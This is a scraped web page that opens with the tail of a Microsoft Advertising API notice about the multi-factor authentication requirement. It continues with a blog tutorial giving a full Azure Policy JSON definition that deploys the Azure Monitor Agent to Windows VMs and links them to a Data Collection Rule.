Upon enforcement of the MFA requirement, we will only authenticate access tokens on behalf of a user who passed through MFA via the new msads.manage scope on the Microsoft Identity endpoint.


 


The new msads.manage scope requires renewed consent from all users of your application. You must prompt users for consent using the new msads.manage scope after they have turned on multi-factor authentication. We recommend that you inform and guide users of your application to set up MFA right away.



Additional resources


 


Support for the new msads.manage scope including SDKs is coming in April. We’ll share updates via the blog and documentation as soon as its ready.


 


The GetUserMFAStatus service operation is now available and can be used to estimate the progress of MFA adoption by users of your application. The operation returns true if within the last 90 days the user passed through MFA via Microsoft Advertising online, Microsoft Advertising Editor, or Microsoft Advertising mobile. This is only directional and cannot guarantee they will pass through MFA while granting consent to your application.


 


For more information, see our API documentation. As always please feel free to contact support or post a question in the Bing Ads API developer forum


 


 

Building a Policy to deploy the new Azure monitor Agent.

Building a Policy to deploy the new Azure monitor Agent.

This article is contributed. See the original author and article here.

Hello folks,


 


Following my recording with Shayoni Seth (Senior Program Manager on the Azure Monitor Agent team) regarding the use and deployment of the upcoming Azure Monitor Agent (AMA) currently in preview. We established that there are 2 key parts of the new agent:


 



  • The Data Collection Rule

  • The Agent deployment.


So, if you are testing this new Azure Monitor Agent and you want to avoid having to deploy the agent to each new VM individually in the portal, by navigating to Azure Monitor and selecting the Data Collection Rules (DCR)


 


dcr-policy.png


 


And in the DCR menu select Resources, select the resources you need the agent deployed to, and associated with the DCR rule you created.


 


dcr-policy1.png


 


You can create an Azure Policy that will continuously evaluate if new VMs have the agent and the association with the DCR. If the resources are not compliant with the policy, a remediation task with force the agent extension to be installed and will create the association.



In Azure Policy, create a new Definition that validates and deploys if not present the agent and the assignment.



My policy for Windows is below:


 

{
    "properties": {
      "displayName": "Deploy new Azure Monitor Agent to Windows VMs and tie to DCR",
      "policyType": "Custom",
      "mode": "Indexed",
      "description": "Deploy new Azure Monitor Agent to Windows VMs and tie to DCR",
      "metadata": {
        "version": "1.0.1",
        "category": "Monitoring"
      },
      "parameters": {
        "DCRResourceID": {
            "type": "String",
            "metadata": {
              "displayName": "DCR resource ID",
              "description": "Resource ID of the DCR that the VMs in scope should point to."
            }
          }
      },
      "policyRule": {
        "if": {
            "allOf": [
              {
                "field": "type",
                "equals": "Microsoft.Compute/virtualMachines"
              },
              {
                "anyOf": [
                  {
                    "allOf": [
                      {
                        "field": "Microsoft.Compute/imagePublisher",
                        "equals": "MicrosoftWindowsServer"
                      },
                      {
                        "field": "Microsoft.Compute/imageOffer",
                        "equals": "WindowsServer"
                      },
                      {
                        "field": "Microsoft.Compute/imageSKU",
                        "in": [
                          "2008-R2-SP1",
                          "2008-R2-SP1-smalldisk",
                          "2012-Datacenter",
                          "2012-Datacenter-smalldisk",
                          "2012-R2-Datacenter",
                          "2012-R2-Datacenter-smalldisk",
                          "2016-Datacenter",
                          "2016-Datacenter-Server-Core",
                          "2016-Datacenter-Server-Core-smalldisk",
                          "2016-Datacenter-smalldisk",
                          "2016-Datacenter-with-Containers",
                          "2016-Datacenter-with-RDSH",
                          "2019-Datacenter",
                          "2019-Datacenter-Core",
                          "2019-Datacenter-Core-smalldisk",
                          "2019-Datacenter-Core-with-Containers",
                          "2019-Datacenter-Core-with-Containers-smalldisk",
                          "2019-Datacenter-smalldisk",
                          "2019-Datacenter-with-Containers",
                          "2019-Datacenter-with-Containers-smalldisk",
                          "2019-Datacenter-zhcn"
                        ]
                      }
                    ]
                  },
                  {
                    "allOf": [
                      {
                        "field": "Microsoft.Compute/imagePublisher",
                        "equals": "MicrosoftWindowsServer"
                      },
                      {
                        "field": "Microsoft.Compute/imageOffer",
                        "equals": "WindowsServerSemiAnnual"
                      },
                      {
                        "field": "Microsoft.Compute/imageSKU",
                        "in": [
                          "Datacenter-Core-1709-smalldisk",
                          "Datacenter-Core-1709-with-Containers-smalldisk",
                          "Datacenter-Core-1803-with-Containers-smalldisk"
                        ]
                      }
                    ]
                  },
                  {
                    "allOf": [
                      {
                        "field": "Microsoft.Compute/imagePublisher",
                        "equals": "MicrosoftWindowsServerHPCPack"
                      },
                      {
                        "field": "Microsoft.Compute/imageOffer",
                        "equals": "WindowsServerHPCPack"
                      }
                    ]
                  },
                  {
                    "allOf": [
                      {
                        "field": "Microsoft.Compute/imagePublisher",
                        "equals": "MicrosoftSQLServer"
                      },
                      {
                        "anyOf": [
                          {
                            "field": "Microsoft.Compute/imageOffer",
                            "like": "*-WS2016"
                          },
                          {
                            "field": "Microsoft.Compute/imageOffer",
                            "like": "*-WS2016-BYOL"
                          },
                          {
                            "field": "Microsoft.Compute/imageOffer",
                            "like": "*-WS2012R2"
                          },
                          {
                            "field": "Microsoft.Compute/imageOffer",
                            "like": "*-WS2012R2-BYOL"
                          }
                        ]
                      }
                    ]
                  },
                  {
                    "allOf": [
                      {
                        "field": "Microsoft.Compute/imagePublisher",
                        "equals": "MicrosoftRServer"
                      },
                      {
                        "field": "Microsoft.Compute/imageOffer",
                        "equals": "MLServer-WS2016"
                      }
                    ]
                  },
                  {
                    "allOf": [
                      {
                        "field": "Microsoft.Compute/imagePublisher",
                        "equals": "MicrosoftVisualStudio"
                      },
                      {
                        "field": "Microsoft.Compute/imageOffer",
                        "in": [
                          "VisualStudio",
                          "Windows"
                        ]
                      }
                    ]
                  },
                  {
                    "allOf": [
                      {
                        "field": "Microsoft.Compute/imagePublisher",
                        "equals": "MicrosoftDynamicsAX"
                      },
                      {
                        "field": "Microsoft.Compute/imageOffer",
                        "equals": "Dynamics"
                      },
                      {
                        "field": "Microsoft.Compute/imageSKU",
                        "equals": "Pre-Req-AX7-Onebox-U8"
                      }
                    ]
                  },
                  {
                    "allOf": [
                      {
                        "field": "Microsoft.Compute/imagePublisher",
                        "equals": "microsoft-ads"
                      },
                      {
                        "field": "Microsoft.Compute/imageOffer",
                        "equals": "windows-data-science-vm"
                      }
                    ]
                  },
                  {
                    "allOf": [
                      {
                        "field": "Microsoft.Compute/imagePublisher",
                        "equals": "MicrosoftWindowsDesktop"
                      },
                      {
                        "field": "Microsoft.Compute/imageOffer",
                        "equals": "Windows-10"
                      }
                    ]
                  }
                ]
              }
            ]
          },
        "then": {
          "effect": "deployIfNotExists",
          "details": {
            "type": "Microsoft.Insights/dataCollectionRuleAssociations",
            "name": "association1",
            "roleDefinitionIds": [
              "/providers/microsoft.authorization/roleDefinitions/92aaf0da-9dab-42b6-94a3-d43ce8d16293"
            ],
            "type": "Microsoft.Compute/virtualMachines/extensions",
            "existenceCondition": {
              "allOf": [
                {
                  "field": "Microsoft.Compute/virtualMachines/extensions/type",
                  "equals": "AzureMonitorWindowsAgent"
                },
                {
                  "field": "Microsoft.Compute/virtualMachines/extensions/publisher",
                  "equals": "Microsoft.Azure.Monitor"
                },
                {
                  "field": "Microsoft.Compute/virtualMachines/extensions/provisioningState",
                  "equals": "Succeeded"
                }
              ]
            },
            "deployment": {
              "properties": {
                "mode": "incremental",
                "template": {
                  "$schema": "http://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#",
                  "contentVersion": "1.0.0.0",
                  "parameters": {
                    "resourceName": {
                      "type": "string"
                    },
                    "vmName": {
                        "type": "string"
                      },
                    "location": {
                      "type": "string"
                    },
                    "DCRResourceID": {
                        "type": "string"
                    }
                  },
                  "variables": {
                    "vmExtensionName": "AzureMonitorWindowsAgent",
                    "vmExtensionPublisher": "Microsoft.Azure.Monitor",
                    "vmExtensionType": "AzureMonitorWindowsAgent",
                    "vmExtensionTypeHandlerVersion": "1.0"
                  },
                  "resources": [
                    {
                    "name": "[concat(parameters('vmName'), '/', variables('vmExtensionName'))]",
                    "type": "Microsoft.Compute/virtualMachines/extensions",
                    "location": "[parameters('location')]",
                    "apiVersion": "2018-06-01",
                    "properties": {
                        "publisher": "[variables('vmExtensionPublisher')]",
                        "type": "[variables('vmExtensionType')]",
                        "typeHandlerVersion": "[variables('vmExtensionTypeHandlerVersion')]",
                        "autoUpgradeMinorVersion": true
                    }
                },
                    {
                      "name": "[concat(parameters('resourceName'), '/', 'Microsoft.Insights/', 'association1')]",
                      "type": "Microsoft.Compute/virtualMachines/providers/dataCollectionRuleAssociations",
                      "location": "[parameters('location')]",
                      "apiVersion": "2019-11-01-preview",
                      "properties": {
                        "dataCollectionRuleId": "[parameters('DCRResourceID')]"
                      }
                    }
                  ],
                  "outputs": {
                    "policy": {
                      "type": "string",
                      "value": "[concat('Enabled for VM', ': ', parameters('resourceName'))]"
                    }
                  }
                },
                "parameters": {
                  "resourceName": {
                    "value": "[field('name')]"
                  },
                  "location": {
                    "value": "[field('location')]"
                  },
                  "vmName": {
                    "value": "[field('name')]"
                },
                "DCRResourceID": {
                    "value": "[parameters('DCRResourceID')]"
              }
            }
          }
        }
      }
    }
  }
}
}

 


And once you have the definition created you will need to assign it to your environment. When assigning it you will require the DCR resource ID. This can be found in the JSON section of the DCR Overview.


 


dcr-policy-3.png


 


dcr-policy-4.png


 


The rest of the policy assignment is the same as any other policy. Just don’t forget to check the box to create the remediation task.


 


That’s it. From now on, any new VMs deployed in scope of the policy will get the Agent and will be associated with the DCR rule you selected. Of course, you can have multiple DCR and corresponding policies for different VM types or workload definitions.


 


I hope this helps!


 


Cheers!